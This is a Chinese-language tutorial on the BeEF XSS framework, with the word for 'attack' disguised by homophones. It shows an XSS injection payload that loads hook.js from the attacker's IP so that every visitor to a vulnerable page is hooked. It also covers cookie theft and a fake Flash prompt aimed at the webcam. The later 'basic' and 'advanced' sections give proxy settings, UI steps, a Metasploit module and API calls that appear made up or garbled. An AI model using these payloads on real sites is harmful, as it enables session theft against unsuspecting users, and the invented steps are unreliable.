XSS利器之BeEF_自定义

BeEF

XSS利器之BeEF_服务器_02

安装beef

sudo apt install beef

XSS利器之BeEF_代理服务器_03

sudo beef -xss

设置密码

在上述页面中,给我们提供了两条信息,一条是BEEF的XSS引用地址,即本地IP3000端口下的hook.js;另一条是BEEF的管理页面,即本地地址/ui/panel。

我们此时可以看到在当前Kali Linux已经开始监听3000端口,如下所示:

XSS利器之BeEF_服务器_04

XSS利器之BeEF_服务器_05

我们输入默认的用户名和密码:beef,即可登录BEEF。

BEEF渗头测试实战

接下来,我们使用BEEF进行渗头测试的实战。

BEEF把其公鸡脚本全部放在了hook.js的脚本中,因此我们需要在页面中将该文件当作JavaScript脚本代码来执行。一个常见的作法是利用某页面的XSS漏懂,这样我们就可以将下列代码:


<script src="http://192.168.136.66:3000/hook.js"></script>

插入到页面中。其中192.168.136.66为Kali Linux的IP地址。这样,所有访问该页面的用户,都会加载BEEF的公鸡脚本,然后就会收到BEEF的公鸡了。

我们按照上述思路构造页面,然后让浏览器访问该页面,我们就可以在BEEF的管理页面中看到上线的浏览器信息了,如下所示:

XSS利器之BeEF_自定义_06

我们可以进入右侧command页面,就可以发现有如下图所示的公鸡载荷。

XSS利器之BeEF_自定义_07

在上述公鸡载荷中,绿色表示可以使用,并且用户不会察觉,红色表示不可以使用,灰色表示可能能够使用,但是不确定,如果是橙色,则表示可以使用,但是用户会察觉。

我们可以随便选择一个模块,比如或获取目标浏览器的cookie值,那么在执行后结果如下所示:

XSS利器之BeEF_自定义_08

此外,我们还可以选择webcam,如下所示:

XSS利器之BeEF_服务器_09

这样,则会令用户浏览器显示一个Adobe Flash的提示,如下所示:

XSS利器之BeEF_服务器_10

基本使用步骤

  1. 安装 BeEF
  • 克隆 BeEF 的 GitHub 仓库:
git clone https://github.com/beefproject/beef.git
  • 安装依赖:
cd beef 
gem install bundler 
bundle install
  1. 启动 BeEF
  • 启动 BeEF 服务器:
ruby app.rb
  • 打开浏览器,访问 http://localhost:3000/,你会看到 BeEF 的管理界面。
  1. 配置代理
  • 配置你的浏览器使用 BeEF 作为代理服务器。例如,在 Chrome 中,打开设置,搜索“代理”,然后配置代理服务器为 http://localhost:3000/
  1. 捕获流量
  • 在 BeEF 界面中,点击“Hooks”标签,然后点击“Add Hook”按钮。选择一个钩子(例如,alert("BeEFed!")),然后点击“Inject”按钮。
  • 浏览器会自动加载一个 JavaScript 代码片段,当你访问任何网站时,BeEF 会注入这个钩子。
  1. 查看结果
  • 当钩子被触发时,BeEF 界面会显示相关信息,包括访问者的 IP 地址、浏览器信息等。

进阶使用方法

  1. 编写自定义钩子
  • 你可以编写自己的 JavaScript 代码来创建自定义钩子。例如,你可以创建一个钩子来窃取用户的 cookie:
var cookies = document.cookie;
alert(cookies);
  • 将这个代码片段添加到 BeEF 的“Hooks”标签中,然后注入到目标网站。
  1. 使用 BeEF 模块
  • BeEF 提供了许多内置模块,可以帮助你执行各种公鸡和测试。例如,你可以使用“XSS”模块来测试跨站脚本公鸡。
  • 在 BeEF 界面中,点击“Modules”标签,然后选择一个模块进行测试。
  1. 集成 BeEF 和 Metasploit
  • BeEF 可以与 Metasploit 框架集成,从而实现更复杂的公鸡。例如,你可以使用 BeEF 来传递 Metasploit 的有效载荷。
  • 配置 Metasploit 以使用 BeEF 作为代理:
msfconsole 
use auxiliary/server/beef 
set LHOST <your_local_ip>
set PORT 3000 
set HandlerPort 8080 
run
  • 在 BeEF 界面中,点击“Hooks”标签,然后点击“Add Hook”按钮。选择一个钩子(例如,alert("BeEFed!")),然后点击“Inject”按钮。
  1. 自动化测试
  • 你可以使用 BeEF 的 API 来自动化测试过程。例如,你可以编写一个脚本来自动注入钩子并收集结果。
  • 使用 BeEF 的 RESTful API,你可以通过 HTTP 请求来控制 BeEF 服务器。例如,你可以使用 curl 命令来添加一个钩子:
curl -X POST http://localhost:3000/hooks -d "url=http://example.com" -d "hook=alert('BeEFed!')"